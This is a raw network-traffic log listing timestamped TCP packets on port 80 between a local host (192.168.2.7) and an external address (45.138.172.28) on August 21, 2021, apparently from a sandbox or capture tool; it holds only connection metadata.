Aug 21, 2021 21:46:32.135013103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135036945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135052919 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135059118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135081053 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135082960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135107040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135157108 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135183096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135207891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135231972 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135232925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135257006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135281086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135281086 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135298967 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135303020 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135304928 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135329008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135345936 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135345936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135349989 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135370970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135373116 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135394096 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135394096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135399103 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135416985 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135418892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135440111 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135442972 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135469913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135497093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135519981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135544062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135567904 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135591030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135612011 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135615110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135637999 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135660887 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135664940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135667086 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135689974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135714054 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135737896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135757923 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135761023 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135785103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135806084 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135807037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135829926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135850906 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135857105 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135857105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135860920 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135883093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135915041 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135917902 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135921001 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135940075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135942936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135945082 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135962009 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135965109 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.135966063 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.135988951 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136008024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136013985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136039019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136061907 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136066914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136070013 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136092901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136121035 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136122942 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136149883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136164904 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136173010 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136177063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136194944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136219978 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136243105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136269093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136291027 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136293888 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136302948 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136306047 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136308908 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136315107 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136338949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136357069 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136362076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136387110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136399984 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136409998 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136434078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136445999 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136455059 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136461020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136487961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136497021 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136511087 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136535883 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136559963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136580944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136606932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136615992 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136625051 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136627913 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136630058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136631012 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136657953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136682987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136683941 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136708021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136732101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136735916 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136755943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136779070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136790037 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136797905 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136802912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136805058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136827946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136854887 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136878967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136903048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136903048 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136910915 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136924028 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.136926889 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.136955976 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.137017012 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.144226074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144263029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144407034 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.144596100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144623041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144644976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144715071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144741058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144781113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144785881 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.144798040 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.144799948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144817114 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.144866943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144886971 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.144896984 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.144898891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144928932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144953966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144974947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.144984007 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.144993067 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.144996881 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145020962 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145041943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145064116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145087004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145109892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145134926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145164967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145164013 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145174026 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145178080 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145180941 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145184040 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145185947 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145186901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145210028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145231962 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145252943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145253897 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145263910 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145276070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145301104 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145308971 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145323992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145345926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145361900 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145368099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145370960 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145390987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145412922 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145436049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145457983 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145472050 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145479918 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145483017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145483971 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145504951 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145528078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145541906 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145550966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145560026 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145564079 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145575047 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145591974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145596981 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145598888 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145620108 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145642042 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145657063 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145664930 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145668983 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145692110 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145714045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.145747900 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.145792007 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163294077 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163326025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163350105 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163372993 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163393974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163413048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163433075 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163459063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163477898 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163492918 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163496971 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163516045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163544893 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163547993 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163553953 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163557053 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163570881 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163575888 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163594007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163609028 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163614035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163639069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163640022 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163667917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163690090 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163693905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163717985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163737059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163753986 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163758993 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163760900 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163779020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163799047 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163804054 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163827896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163847923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163853884 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163861036 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163866997 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163885117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163897038 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.163902998 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.163953066 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.164092064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164098024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.164110899 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.164151907 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164163113 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.164177895 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164205074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164228916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164230108 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.164252996 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164268017 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.164278030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164304018 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164309978 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.164328098 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164345026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.164345980 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.164380074 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.164411068 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.169004917 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.169776917 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.170732021 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.170766115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.171329975 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.171355963 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.171982050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172013044 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172036886 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172064066 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172070980 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172089100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172091007 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172111034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172137022 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172147036 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172159910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172183990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172187090 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172249079 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172272921 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172276974 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172298908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172322989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172346115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172369003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172374010 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172390938 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172409058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172420025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172434092 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172445059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172466040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172482014 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172487974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172509909 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172524929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.172528982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172548056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172564983 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172583103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172600031 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172619104 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172641993 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172666073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172688007 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172713995 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172739029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172765017 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172791958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172816038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172837973 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172861099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172883987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172910929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172935963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172960043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.172983885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.173121929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.173280001 CEST	49738	80	192.168.2.7	45.138.172.28
